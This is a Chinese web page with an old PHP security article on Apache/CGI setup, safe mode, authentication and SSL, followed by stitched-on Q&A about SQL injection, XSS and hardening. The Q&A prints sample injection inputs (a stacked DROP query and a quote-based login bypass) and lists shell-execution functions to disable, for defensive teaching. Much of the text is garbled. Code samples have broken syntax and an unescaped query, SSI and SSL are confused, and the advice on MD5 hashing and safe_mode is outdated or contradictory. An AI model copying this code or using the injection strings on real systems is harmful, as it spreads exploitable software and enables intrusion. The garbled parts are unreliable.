热门搜索 :
宠物故事
您的当前位置:首页正文

编写PHP的安全策略

2023-11-29 来源:微宠网

PHP最初是被称作Personal Home Page,后来随着PHP成为一种非常流行的脚本语言,名称也随之改变了,叫做Professional HyperText PreProcessor。以PHP4.2为例支持它的WEB服务器有:Apache, Microsoft Internet information Sereve, Microsoft Personal web Server,AOLserver,Netscape Enterprise 等等。

PHP是一种功能强大的语言和解释器,无论是作为模块方式包含到web服务器里安装的还是作为单独的CGI程序程序安装的,都能访问文件、执行命令或者在服务器上打开链接。而这些特性都使得PHP运行时带来安全问题。虽然PH P是特意设计成一种比用Perl或C语言所编写的CGI程序要安全的语言,但正确使用编译时和运行中的一些配置选项以及恰当的应用编码将会保证其运行的安全性。

一、安全从开始编译PHP开始。

在编译PHP之前,首先确保操作系统的版本是最新的,必要的补丁程序必须安装过。另外使用编译的PHP也应当是最新的版本,关于PHP的安全漏洞也常有发现,请使用最新版本,如果已经安装过PHP请升级为最新版本:4.2.3

相关链接:http://security.e-matters.de/advisories/012002.html

安装编译PHP过程中要注意的3个问题:

1、只容许CGI文件从特定的目录下执行:首先把处理CGI脚本的默认句柄删除,然后在要执行CGI脚本的目录在http.conf 文件中加入ScriptAlias指令。

#Addhadler cgi-script .cgi

ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"

<Directory "/usr/local/apache/cgi-bin'>

AllowOverride None

Options None

Order allow,deny

Allow from all

</Directory>

<Directory "/home/*/public_html/cgi-bin">

AllowOverride None

Options ExecCGI

Order allow,deny

Allow from all

</Directory> 

 

SriptAlias的第一个参数指明在Web中的可用相对路径,第二个参数指明脚本放在服务器的目录。应该对每个目录

别名都用Directory,这样可使得除系统管理员之外的人不知道Web服务器上CGI脚本的清单。

Directory允许用户创建自己的CGI脚本。也可用SriptAliasMatch,但Directory更容易使用。 允许用户创建自己

CGI脚本可能会导致安全问题,你可能不希望用户创建自己的CGI。 Apache默认配置是注释掉cgi—script的处理句柄,但有/cgi-bin目录使用SriptAlias和Directory指令。 你也可禁止CGI执行,但仍允许执行PHP脚本。

2.把PHP解析器放在web目录外

把PHP解析器放在Web目录树外是非常重要的做法。这样可以防止web服务器对PHP的解析器的滥用。特别是

不要把PHP解析器放在cgi-bin或允许执行CGI程序的目录下。然而,使用Action解析脚本是不可能的,因为用Action指令时,PHP解析器大多数要放在能够执行CGI的目录下只有当PHP脚本作为CGI程序执行时,才能把PHP解析器放在Web目录树之外。

如果希望PHP脚本作为CGI程序执行(这们可以把PHP解析器放在Web目录树之外),可以这样:

( 1)所有的PHP脚本必须位于能执行CGI程序的目录里。

( 2)脚本必须是可执行的(仅在UNIX/Linux机器里)。

(3)脚本必须在文件头包括PHP解析器的路径。

你可用下面命令使PHP脚本为可执行:

#chmod +x test.php4

这样使在当前目录下的文件名为test.PhP4的脚本变为可执行。 下面是一个能作为CGI程序运行的PHP脚的小例子。

#!/usr/local/bin/php

echo "This is a  my small cgi program”  

3. 按Apache模块方式安装:

当将PHP作为Apache模块使用时,它将继承Apche的用户权限(一般情况下用户为“nobody”)。这一点对于安全性和

验证有不少影响。例如,使用PHP访问数据库,除非数据库支持内建的访问控制,将不得不设置数据库对于用户“nobody”

的可访问权限。这将意味着恶意的脚本在没有访问用户名和密码,也能访问并修改数据库。通过Apache验证来保护数据不被暴露,或者也可使用LDAP、.htaccess文件等设计自己的访问控制模型,并在PHP脚本中将此代码作为其中部分引入。 通常,一旦安全性建立,此处PHP用户(此情形即Apache用户)就风险大大降低了,会发现PHP护现在已被封禁了将可能的染毒文件写入用户目录的能力。 此处最常犯的安全性错误是赋予Apache服务器根(root)权限。 将Apache用户权限提升到根权限是极端危险的。可能会危及整个系统,因此要小心使用sudo,chroot安全隐患大的命令等。除非你对安全有绝对的掌握,否则不要让其以ROOT权限运行。

二、让PHP的使用更安全。

1、以安全模式运行PHP

以安全模式运行PHP是使PHP脚本安全使用的好方法,特别是在允许用户使用自己开发的PHP脚本时。使用安全模式会使PHP在运行函数时检查是否存在安全问题。 include、readfile、fopen、file、unlink、rmdir等等:被包含的文件或者该文件所在目录的所有者必须是正在运行的脚本的所有者; Exec、System、Passthm等等:要执行的程序必须位于特定的目录(默认为/usr/local/php/bin)。编译PHP时可以用—with-exe-dir选项设定这个值。

Mysql—Connect:这个函数用可选的用户名连接MySQL数据库。在安全模式下,用户名必须是当前被执行的脚本的所有者,或运行httpd的用户名(通常是nobody)。

HTTP Authentication:包含HTTP验证代码脚本所有者的用户ID(数字型)会自动加到验证域。这样可以防止有人通过抓取密码的程序来欺骗同一个服务器上的HTTP验证脚本。

2、使用 用户识别和验证

有时需要唯一地确认一个用户。用户通常由请求和响应系统确认。用户名/口令组合就是这种系统的一个很好的例子,比如系统要求给出A1i的口令,响应的是Ali的口令。这样验证是因为只有Ali才知道这个口令。

(1)服务器端用户验征

这是用于服务端上对PHP程序要求最小的验证方法。只要让Apache来管理对用户的验证就行了。

AuthName      "Secret page"      # The realm

AuthType      Basic

# The password file has been placed outside the web tree

AuthUserFile   /home/car2002/website.pw

<LIMIT GET POST>

require      valid-user

</LIMIT> 

你需要把上述文件(文件名为.htaccess)放在需要保护的地方。用Apache的htpasswd程序,可以建立包含用户名和口令组合的文件。把这个文件放在Web目录树之外,只让该文件的拥有者查看和修改这个文件。当然,Web服务器必须能够读取这个文件。

如果想读取被保护的目录,Web服务器要求浏览器提供用户名和密码。浏览器弹出对话框,用户可以输入他们的用户名和密码。如果用户名和密码与口令文件中相符合,就允许用户读取被保护的页面;反之,将得到错误页面,告诉用户没有通过验证。被保护的域会显示出来以便用户知道输入那个用户名和密码。

(2)在PHP中进行用户识别和验证

和在Apache服务器端进行用户识别和验证相比,在PHP进行用户识别和验证有以下优点:

A、可注销。

B、可失效。如用户登录后40分钟没有浏览你的网站,你可强制他们重新通过验证。

C、可定制。

D、可基于数据库。你可以用保存在各种各样的数据库里的数据来验证用户,并且记录访问者访问网站的详细日志。

E、可用于每个页面。你可在每个页面上决定是否需要验证。

F、你也可以使浏览器弹出对话框。下面的例子显示了怎样从,MySQL数据库中检索用名和口令:让用户填人用户名和口令。

<?

if(!isset($PHP_AUTH_USER)) {

Header("WWW-authenticate: basic realm="restricted area"");

Header( "HTTP/I.0 401 Unauthorized");

echo "You failed to provide the correct password...";

exit;

} else {

mysql_select_db("users") ;

$user_id = strtolower($PHP^AUTH_USER);

$result = mysql_query("SELECT password FROM users " .

"WHERE username = '$username'") ;

$row = mysql_fetch_array($result) ;

if ($PHP_AUTH_PW != $row["password"]) {

Header( "WWW-authenticate: basic realm="restricted area"

Header( "HTTP/I.0 401 Unauthorized");

echo "You failed to provide the correct password..." ;

exit;

}

  }

?>

Only users with a working username/password combination can see this 

 

(3) 检测IP地址

一般人们普遍认为一个IP地址唯一地确定一个访问者。但实际上并不是这样的。代理服务器可用相同的IP地址发送不同用户的请求。另外IP地址的盗用也普遍存在。检测 IP地址有它们的用处,但相当有限。例如你是一个论坛版主,你发现某个用户粘贴一些不健康的、违法的内容。你可以找到他的IP地址,把从这个IP连进来的用户逐出论坛。使用下面一行命令将会得到某个特定请求的源IP地址:

# ip = $REMOTE_ADDR

4、使用PHP加密技术

在PHP中,加密技术主要用来加密信息、产生校验和和摘要。使用加密技术可大大地增强安全性能。 这里只讲述使用加密技术的一些概念。如果你想进一步了解,应参考一些好的加密技术资料。加密技术的标准是Bmce Schneier的应用加密技术,非常值得一读。他的网站(www.counterpane.com/labs.html )是在互联网上查找加密技术资料的好起点。数据加密是一个非常复杂的话题,这里只简单介绍一下。

PHP中大多数的加密函数由mcrypt库和mhash库提供。你需要在系统中装上这两个库,在编译时加上--ith-mcrypt和--ith-hash选项。PHP从 3.013版本开始支持mcrypt库。

5、使用具有SSL技术

SSI是英文Server Side Includes的缩写。使用具有SSL(安全套接字协议层)功能的web服务器,可以不用改变一行代码而提高网站的安全性能。SSI使用加密方法来保护web服务器和浏览器之间的信息流。SSL不仅用于加密在互联网上传递的数据流,而且还提供双方身份验证。这样,你就可以安全地在线购物而不必担心别人矢随你的信用卡的信息。这种特性使得SSL适用于那些交换重要信息的地方,像电子商务和基于Web的邮件。

SSL使用公共密钥加密技术,服务器在连接结束时给客户端发送公用密钥用来加密信息,而加密的信息只有服务器用它自己持有的专用密钥才能解开。客户端用公用密钥加密数据,并且发送给服务端自己的密钥,以唯一确定自己,防止在系统两端之间有人冒充服务端或客户端进行欺骗。

加密的HTTP连接用443端口号代替80端口号,以区别于普通的不加密的HTTP。客户端使用加密HTTP连接时会自动使用443端口而不是80端口。这使得服务端更容易作出相应的响应。

在Apache服务器下,可以通过直接编辑服务器配置文件或者在需要使用SSI的目录中创建.htaccess文件来启动SSI。登录到服务器,找到配置文件的存放目录,使用文字编辑器打开文件srm.conf,找到以下几行: 

# If you want to use server side includes, or CGI outside# ScriptAliased directories, uncomment the following lines.#AddType text/x-server-parsed-html .shtml#AddType application/x-httpd-CGI .CGI 

将以AddType开头的两行并且去掉每一行最前面的"#"符号即可。保存所做的修改,然后再打开文件access.conf。

    <Directory /usr/local/etc/httpd/htdocs>    # This may also be "None", "All", or any combination of "Indexes",    # "Includes", or "FollowSymLinks"    Options Indexes FollowSymLinks    </Directory>    将其中的Options Indexes FollowSymLinks改为:Options Indexes FollowSymLinks Includes 即可。 

6、使用Apache的suEXEC机制

通常CGI程序或PHP脚本只能以启动web服务器的用户权限来运行(通常为www或nobody),这样会出现的情况之一是可以读写和修改由另一个用户的CGI和PHP脚本生成的文件(如脚本和密码文件)。也可能使用户可以连接到其他用户的数据库,但这与数据库的配置有关。如MySQL的默认配置便是允许的,但可以通过强制数据库进行口令验证来弥补此不足。PHP的safe—mode减少了这些问题,但所有的脚本仍然以相同的用户标识运行。Apache可以解决这个问题。suEXEC(在执行前改变用户标识)是一个小工具,允许以任意用户标识运行CGI程序,当然也包括PHP脚本,但根用户除外。而且可以和UseDir和VirtualHost项一起使用。

所以suEXEC也叫CGI封装。这意味着在脚本运行之前它需要通过一系列规定的安全检查。随Apache2。0版发布的suEXEC有26个检查点。suEXEC能解决一些安全问题,同时允许用户开发和更安全地执行自己的脚本。但是suEXEC会降低服务性能,因为suEXEC只能运行在CGI版本的PHP上,而CGI版本比模块版本运行速度慢。原因是模块版本使用了线程,而使用CGI版本的是进程。在不同线程之间的环境转换和访问公用的存储区域显然要比在不同的进程之间要快得多。使用suEXEC的另外一个问题是它增加了编写和使用PHP脚本的难度。你要确保脚本能通过suEXEC的检验。否则,你的脚本不会被执行。我们建议在你对安全性能要求比较高时使用suEXEC ,为此你还要以牺牲速度为代价。

7、创建安全的PHP脚本

有很多编程技巧使PHP脚本更安全地运行。其中最重要的一条是使用一些安全常识。运行PHP比运行CGI脚本更安全,但它仍然有许多出现错误的地方。转换到安全运行模式能够限制出错所产生的结果。如果你的PHP脚本中有错误,可能会被人找到并且利用它来破坏站点甚至数据库。所以经常备份也是必要的。

(1)安全设置软件

基于Web的应用程序,如在线目录,通常都在无人密切监视的情况下运行。如果发生错误时,你不可能立即采取行动。通常访问者最先注意到所发生的问题,你应该使他们很容易地报告所发生的问题。更进一步,可以由构成这个网站的脚本来跟踪这些问题。例如,你的访问者可能做一些你想不到的事情。也可能你对于重要函数所返回值没有检查,脚本可能会以不可预料的方式运行。

写出更加安全的程序,就可以避免这些问题。例如你应该检查数据库函数的返回值,如果数据库崩溃,显示给用户的应该是出错的信息页面而不是满屏幕的错误。你甚至可以让脚本在发生严重问题,如数据库崩溃、硬盘空间已满的时候自动通知你。你也应该检查从用户传来的所有数据。显然后者更重要。 如果你的程序能够应付各种错误,那么你的程序不仅更加可靠,而且可以花更少的时间来维护。这些时间可大大弥补你开发程序时所花的额外时间。

(2)存储和交换敏感信息

显然,你应尽量避免在互联网上以GET、POST、cookie或URL编码的形式传递敏感信息,这样使信息很容易被窃取。使用支持SSL的web服务器能够做到这一点,因为它加密站点和访问者浏览器之间所有的信息流。

如果你没有支持SSL的Web服务器,那么你需要其他的办法。比如没有必要总是发送数据到浏览器;把数据保存在数据库中,只向浏览器发送关键字,这样也很容易查找到所需要的数据;并以加密的形式发送所有的数据等等。实现这种功能的最简单的办法是使用Session。 PHP4支持本地化的Session功能,PHP3则要使用PHPMB库。

HTTP 协议是一种无状态协议,它不负责为好连接的状态信息,因此无法跟踪客户端的各种信息,Session的出现改变这一状况。当用户浏览一个支持Session功能的CGI脚本时,在他离开这个网页前可以将用户信息保存在同意Session ID之下,也就是可以在不同的网页之间偕同存取用户信息。

如果不使用PHP的安全模式或在suEXEC下以CGI方式运行PHP,那么监视你的文件的内容就不可能实现。此时唯一防止别人读取数据的方法是尽快把数据保存到数据库中。

(3)检查用户输入

Per1语言有个特性叫污点检测(taint checking)。当污点检测生效时,即使没有发生重大错误,你也不能运行含有可疑变量的函数。一个变量,当它的值是用户提供数据的一部分或全部时就变成可疑的了,因为这些数据被认为是不安全的。这样可提高系统安性。 PHP没有这个特性,但PHP有escapeshellcmd函数,可以达到同样的效果。另一个不让用户滥用脚本的方法是只允许使用经过严格检查的输入。

(4)使用最新的PHP版本 4.2.xx

在很长一段时间内,PHP作为服务器端脚本语言的最大卖点之一就是会为从表单提交的值自动建立一个全局变量。在PHP 4.1中,PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中,他们取消了那种老的做法。在PHP 4.1中,添加了一组特殊数据以访问外部数据。这些数组可以在任何范围内调用,这使得外部数据的访问更方便。在PHP 4.2中,register_globals被默认关闭以鼓励使用这些数组以避免无经验的开发者编写出不安全的PHP代码。作出这样的变化是出于安全性的考虑的。

三、总结

彻底安全的系统从理论上讲不可能,因此我们所指安全性只是在代价与可用性间作平衡。若是用户提交的每一个变量都要求有生物学验证(如指纹鉴定),则将获得极高水平的可靠性。但是也会造成用户填写一个表格就要几十分钟。这时用户就会采取绕过安全验证的方法。一个系统的可靠性只能由整个链条中最薄弱的环节来决定。在任何安全系统里面,人是最脆弱的连接,单单技术本身不能让系统安全。

PHP 还处在不断发展的过程中,你需要经常关注他的安全信息。这里笔者推荐你经常关注安全焦点(www.security-focus.com )和Packetstorm(www.packetstorm.com )。  

小编还为您整理了以下内容,可能对您也有帮助:

PHP如何做好最基础的安全防范

PHP如何做好最基础的安全防范

  php给了开发者极大的灵活性,但是这也为安全问题带来了潜在的隐患,PHP如何做好最基础的安全防范呢?下面我为大家解答一下,希望能帮到您!

  当开发一个互联网服务的时候,必须时刻牢记安全观念,并在开发的代码中体现。PHP脚本语言对安全问题并不关心,特别是对大多数没有经验的开发者来说。每当你讲任何涉及到钱财事务等交易问题时,需要特别注意安全问题的考虑,例如开发一个论坛或者是一个购物车等。

   安全保护一般性要点

  不相信表单

  对于一般的Javascript前台验证,由于无法得知用户的行为,例如关闭了浏览器的javascript引擎,这样通过POST恶意数据到服务器。需要在服务器端进行验证,对每个php脚本验证传递到的数据,防止XSS攻击和SQL注入。

   不相信用户

  要假设你的网站接收的每一条数据都是存在恶意代码的,存在隐藏的威胁,要对每一条数据都进行清理

   关闭全局变量

  在php.ini文件中进行以下配置:

  register_globals = Off

  如果这个配置选项打开之后,会出现很大的安全隐患。例如有一个process.php的脚本文件,会将接收到的数据插入到数据库,接收用户输入数据的表单可能如下:

  < input name="username" type ="text" size = "15" maxlength = "64" >

  这样,当提交数据到process.php之后,php会注册一个$username变量,将这个变量数据提交到process.php,同时对于任何POST或GET请求参数,都会设置这样的变量。如果不是显示进行初始化那么就会出现下面的问题:

  <?php

  // Define $authorized = true only if user is authenticated

  if

  (authenticated_user()) {

  $authorized = true;

  }

  ?>

  此处,假设authenticated_user函数就是判断$authorized变量的值,如果开启了register_globals配置,那么任何用户都可以发送一个请求,来设置$authorized变量的值为任意值从而就能绕过这个验证。所有的这些提交数据都应该通过PHP预定义内置的全局数组来获取,包括$_POST、$_GET、$_FILES、$_SERVER、$_REQUEST等,其中$_REQUEST是一个$_GET/$_POST/$_COOKIE三个数组的联合变量,默认的顺序是$_COOKIE、$_POST、$_GET。

  推荐的安全配置选项

  error_reporting设置为Off:不要暴露错误信息给用户,开发的时候可以设置为ON

  safe_mode设置为Off

  register_globals设置为Off

  将以下函数禁用:system、exec、passthru、shell_exec、proc_open、popen

  open_basedir设置为 /tmp ,这样可以让session信息有存储权限,同时设置单独的网站根目录expose_php设置为Offallow_url_fopen设置为Offallow_url_include设置为Off

  SQL注入攻击

  对于操作数据库的SQL语句,需要特别注意安全性,因为用户可能输入特定语句使得原有的SQL语句改变了功能。类似下面的例子:

  $sql ="select * from pinfo where proct = '$proct'";

  此时如果用户输入的$proct参数为:'39'; DROP pinfo; SELECT 'FOO

  那么最终SQL语句就变成了如下的`样子:

  select proct from pinfo where proct = '39';

  DROP pinfo;

  SELECT 'FOO'

  这样就会变成三条SQL语句,会造成pinfo表被删除,这样会造成严重的后果。这个问题可以简单的使用PHP的内置函数解决:

  $sql = 'Select * from pinfo where proct = '"' mysql_real_escape_string($proct) . '"';

  防止SQL注入攻击需要做好两件事:对输入的参数总是进行类型验证对单引号、双引号、反引号等特殊字符总是使用mysql_real_escape_string函数进行转义但是,这里根据开发经验,不要开启php的Magic Quotes,这个特性在php6中已经废除,总是自己在需要的时候进行转义。

   防止基本的XSS攻击

  XSS攻击不像其他攻击,这种攻击在客户端进行,最基本的XSS工具就是防止一段javascript脚本在用户待提交的表单页面,将用户提交的数据和cookie偷取过来。XSS工具比SQL注入更加难以防护,各大公司网站都被XSS攻击过,虽然这种攻击与php语言无关,但可以使用php来筛选用户数据达到保护用户数据的目的,这里主要使用的是对用户的数据进行过滤,一般过滤掉HTML标签,特别是a标签。下面是一个普通的过滤方法:

  function transform_HTML( $string , $length null) { // Helps prevent XSS attacks

  // Remove dead space.

  $string = trim( $string );

  // Prevent potential Unicode codec problems.

  $string = utf8_decode( $string );

  // HTMLize HTML-specific characters.

  $string = htmlentities( $string , ENT_NOQUOTES);

  $string = str_replace ( "#" , "#" , $string );

  $string = str_replace ( "%" , "%" , $string );

  $length = intval ( $length );

  if ( $length > 0) {

  $string = substr ( $string , 0, $length );

  }return $string ;

  }

  这个函数将HTML的特殊字符转换为了HTML实体,浏览器在渲染这段文本的时候以纯文本形式显示。如bold会被显示为: BoldText 上述函数的核心就是htmlentities函数,这个函数将html特殊标签转换为html实体字符,这样可以过滤大部分的XSS攻击。但是对于有经验的XSS攻击者,有更加巧妙的办法进行攻击:将他们的恶意代码使用十六进制或者utf-8编码,而不是普通的ASCII文本,例如可以使用下面的方式进行:

   这样浏览器渲染的结果其实是:

  < a href = "http://host/a.php?variable=" >

  < SCRIPT >Dosomethingmalicious

  这样就达到了攻击的目的。为了防止这种情况,需要在transform_HTML函数的基础上再将#和%转换为他们对应的实体符号,同时加上了$length参数来提交的数据的最大长度。

   使用SafeHTML防止XSS攻击

  上述关于XSS攻击的防护非常简单,但是不包含用户的所有标记,同时有上百种绕过过滤函数提交javascript代码的方法,也没有办法能完全阻止这个情况。目前,没有一个单一的脚本能保证不被攻击突破,但是总有相对来说防护程度更好的。一共有两个安全防护的方式:白名单和黑名单。其中白名单更加简单和有效。一种白名单解决方案就是SafeHTML,它足够智能能够识别有效的HTML,然后就可以去除任何危险的标签。这个需要基于HTMLSax包来进行解析。安装使用SafeHTML的方法:

  1、前往http://pixel-apes.com/safehtml/?page=safehtml 下载最新的SafeHTML

  2、将文件放入服务器的classes 目录,这个目录包含所有的SafeHTML和HTMLSax库

  3、在自己的脚本中包含SafeHTML类文件

  4、建立一个SafeHTML对象

  5、使用parse方法进行过滤

  <?php/* If you're storing the HTMLSax3.php in the /classes directory, along

  with the safehtml.php script, define XML_HTMLSAX3 as a null string. */define(XML_HTMLSAX3, '' );// Include the class file.require_once ( 'classes/safehtml.php' );

  // Define some sample bad code.

  $data = This data would raise an alert

  " ;// Create a safehtml object.$safehtml = new safehtml();// Parse and sanitize the data.$safe_data = $safehtml ->parse( $data );// Display result. echo 'The sanitized data is ' . $safe_data ;

  ?>

  SafeHTML并不能完全防止XSS攻击,只是一个相对复杂的脚本来检验的方式。

  使用单向HASH加密方式来保护数据

  单向hash加密保证对每个用户的密码都是唯一的,而且不能被破译的,只有最终用户知道密码,系统也是不知道原始密码的。这样的一个好处是在系统被攻击后攻击者也无法知道原始密码数据。加密和Hash是不同的两个过程。与加密不同,Hash是无法被解密的,是单向的;同时两个不同的字符串可能会得到同一个hash值,并不能保证hash值的唯一性。MD5函数处理过的hash值基本不能被破解,但是总是有可能性的,而且网上也有MD5的hash字典。

  使用mcrypt加密数据MD5 hash函数可以在可读的表单中显示数据,但是对于存储用户的信用卡信息的时候,需要进行加密处理后存储,并且需要之后进行解密。最好的方法是使用mcrypt模块,这个模块包含了超过30中加密方式来保证只有加密者才能解密数据。

  <?php$data = "Stuff you want encrypted" ;

  $key = "Secret passphrase used to encrypt your data" ;

  $cipher = "MCRYPT_SERPENT_256" $mode = "MCRYPT_MODE_CBC" ;function encrypt( $data, $key , cipher , $mode ) {// Encrypt datareturn (string) base64_encode ( mcrypt_encrypt ( $cipher , substr (md5( $key ),0,mcrypt_get_key_size( $cipher , $mode )), $data , $mode , substr (md5( $key ),0,mcrypt_get_block_size( $cipher , $mode )) ) );

  }function decrypt( $data , $key ,$cipher , $mode ) {// Decrypt data

  return (string) mcrypt_decrypt ( $cipher , substr (md5( $key ),0,mcrypt_get_key_size( $cipher , $mode )), base64_decode ( $data ), $mode , substr (md5( $key ),0,mcrypt_get_block_size( $cipher , $mode )) );

  }?>

  mcrypt函数需要以下信息:

  1、待加密数据

  2、用来加密和解密数据的key

  3、用户选择的加密数据的特定算法(cipher:

  如 MCRYPT_TWOFISH192

  ,MCRYPT_SERPENT_256, MCRYPT_RC2

  , MCRYPT_DES

  , and MCRYPT_LOKI97

  )

  4、用来加密的模式

  5、加密的种子,用来起始加密过程的数据,是一个额外的二进制数据用来初始化加密算法

  6、加密key和种子的长度,使用mcrypt_get_key_size函数和mcrypt_get_block_size函数可以获取如果数据和key都被盗取,那么攻击者可以遍历ciphers寻找开行的方式即可,因此我们需要将加密的key进行MD5一次后保证安全性。同时由于mcrypt函数返回的加密数据是一个二进制数据,这样保存到数据库字段中会引起其他错误,使用了base64encode将这些数据转换为了十六进制数方便保存。

;

如何实现php的安全最大化?怎样避免sql注入漏洞和xss跨站脚本攻击漏洞

可以在腾讯智慧安全页面申请使用腾讯御点

然后使用这个软件上面的修复漏洞功能

直接对电脑的漏洞进行检测和修复就可以了

php有什么安全规则,有哪些?

php安全篇值过滤用户输入的人参数
规则 1:绝不要信任外部数据或输入
关于Web应用程序安全性,必须认识到的第一件事是不应该信任外部数据。外部数据(outside data) 包括不是由程序员在PHP代码中直接输入的任何数据。在采取措施确保安全之前,来自任何其他来源(比如 GET 变量、表单 POST、数据库、配置文件、会话变量或 cookie)的任何数据都是不可信任的。
例如,下面的数据元素可以被认为是安全的,因为它们是在PHP中设置的。
复制代码 代码如下:
<?php
$myUsername = 'tmyer';
$arrayUsers = array('tmyer', 'tom', 'tommy');define(”GREETING”, 'hello there' . $myUsername);?>
但是,下面的数据元素都是有瑕疵的。
清单 2. 不安全、有瑕疵的代码
复制代码 代码如下:
<?php
$myUsername = $_POST['username']; //tainted!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!
define(”GREETING”, 'hello there' . $myUsername); //tainted!
?>
为 什么第一个变量 $myUsername 是有瑕疵的?因为它直接来自表单 POST。用户可以在这个输入域中输入任何字符串,包括用来清除文件或运行以前上传的文件的恶意命令。您可能会问,“难道不能使用只接受字母 A-Z 的客户端(Javascrīpt)表单检验脚本来避免这种危险吗?”是的,这总是一个有好处的步骤,但是正如在后面会看到的,任何人都可以将任何表单下载 到自己的机器上,修改它,然后重新提交他们需要的任何内容。
解决方案很简单:必须对 $_POST['username'] 运行清理代码。如果不这么做,那么在使用 $myUsername 的任何其他时候(比如在数组或常量中),就可能污染这些对象。
对用户输入进行清理的一个简单方法是,使用正则表达式来处理它。在这个示例中,只希望接受字母。将字符串*为特定数量的字符,或者要求所有字母都是小写的,这可能也是个好主意。
清单 3. 使用户输入变得安全
复制代码 代码如下:
<?php
$myUsername = cleanInput($_POST['username']); //clean!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!
define(”GREETING”, 'hello there' . $myUsername); //clean!
function cleanInput($input){
$clean = strtolower($input);
$clean = preg_replace(”/[^a-z]/”, “”, $clean);$clean = substr($clean,0,12);
return $clean;
}
?>
规则 2:禁用那些使安全性难以实施的 PHP 设置已经知道了不能信任用户输入,还应该知道不应该信任机器上配置 PHP 的方式。例如,要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
规则 3:如果不能理解它,就不能保护它
一些开发人员使用奇怪的语法,或者将语句组织得很紧凑,形成简短但是含义模糊的代码。这种方式可能效率高,但是如果您不理解代码正在做什么,那么就无法决定如何保护它。
例如,您喜欢下面两段代码中的哪一段?
清单 4. 使代码容易得到保护
复制代码 代码如下:
<?php
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:”);//unobfuscated code
$input = ”;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = ”;
}
?>
在第二个比较清晰的代码段中,很容易看出 $input 是有瑕疵的,需要进行清理,然后才能安全地处理。
规则 4:“纵深防御” 是新的法宝
本教程将用示例来说明如何保护在线表单,同时在处理表单的 PHP 代码中采用必要的措施。同样,即使使用 PHP regex 来确保 GET 变量完全是数字的,仍然可以采取措施确保 SQL 查询使用转义的用户输入。
纵深防御不只是一种好思想,它可以确保您不会陷入严重的麻烦。
既然已经讨论了基本规则,现在就来研究第一种威胁:SQL 注入攻击。
防止 SQL 注入攻击
在 SQL 注入攻击 中,用户通过操纵表单或 GET 查询字符串,将信息添加到数据库查询中。例如,假设有一个简单的登录数据库。这个数据库中的每个记录都有一个用户名字段和一个密码字段。构建一个登录表单,让用户能够登录。
清单 5. 简单的登录表单
复制代码 代码如下:
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”verify.php” method=”post”>
<p><label for='user'>Username</label>
<input type='text' name='user' id='user'/>
</p>
<p><label for='pw'>Password</label>
<input type='password' name='pw' id='pw'/>
</p>
<p><input type='submit' value='login'/></p>
</form>
</body>
</html>
这个表单接受用户输入的用户名和密码,并将用户输入提交给名为 verify.php 的文件。在这个文件中,PHP 处理来自登录表单的数据,如下所示:
清单 6. 不安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.$username.”' and password='”. $pw.”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
这 段代码看起来没问题,对吗?世界各地成百(甚至成千)的 PHP/MySQL 站点都在使用这样的代码。它错在哪里?好,记住 “不能信任用户输入”。这里没有对来自用户的任何信息进行转义,因此使应用程序容易受到攻击。具体来说,可能会出现任何类型的 SQL 注入攻击。
例如,如果用户输入 foo 作为用户名,输入 ' or '1′='1 作为密码,那么实际上会将以下字符串传递给 PHP,然后将查询传递给 MySQL:
复制代码 代码如下:
<?php
$sql = “select count(*) as ctr from users where username='foo' and password=” or '1′='1′ limit 1″;?>
这个查询总是返回计数值 1,因此 PHP 会允许进行访问。通过在密码字符串的末尾注入某些恶意 SQL,黑客就能装扮成合法的用户。
解 决这个问题的办法是,将 PHP 的内置 mysql_real_escape_string() 函数用作任何用户输入的包装器。这个函数对字符串中的字符进行转义,使字符串不可能传递撇号等特殊字符并让 MySQL 根据特殊字符进行操作。清单 7 展示了带转义处理的代码。
清单 7. 安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.mysql_real_escape_string($username).”' and password='”. mysql_real_escape_string($pw).”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
使用 mysql_real_escape_string() 作为用户输入的包装器,就可以避免用户输入中的任何恶意 SQL 注入。如果用户尝试通过 SQL 注入传递畸形的密码,那么会将以下查询传递给数据库:
select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″数据库中没有任何东西与这样的密码匹配。仅仅采用一个简单的步骤,就堵住了 Web 应用程序中的一个大漏洞。这里得出的经验是,总是应该对 SQL 查询的用户输入进行转义。
但是,还有几个安全漏洞需要堵住。下一项是操纵 GET 变量。
防止用户操纵 GET 变量
在前一节中,防止了用户使用畸形的密码进行登录。如果您很聪明,应该应用您学到的方法,确保对 SQL 语句的所有用户输入进行转义。
但 是,用户现在已经安全地登录了。用户拥有有效的密码,并不意味着他将按照规则行事 —— 他有很多机会能够造成损害。例如,应用程序可能允许用户查看特殊的内容。所有链接指向 template.php?pid=33 或 template.php?pid=321 这样的位置。URL 中问号后面的部分称为查询字符串。因为查询字符串直接放在 URL 中,所以也称为 GET 查询字符串。
在 PHP 中,如果禁用了 register_globals,那么可以用 $_GET['pid'] 访问这个字符串。在 template.php 页面中,可能会执行与清单 8 相似的操作。
清单 8. 示例 template.php
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
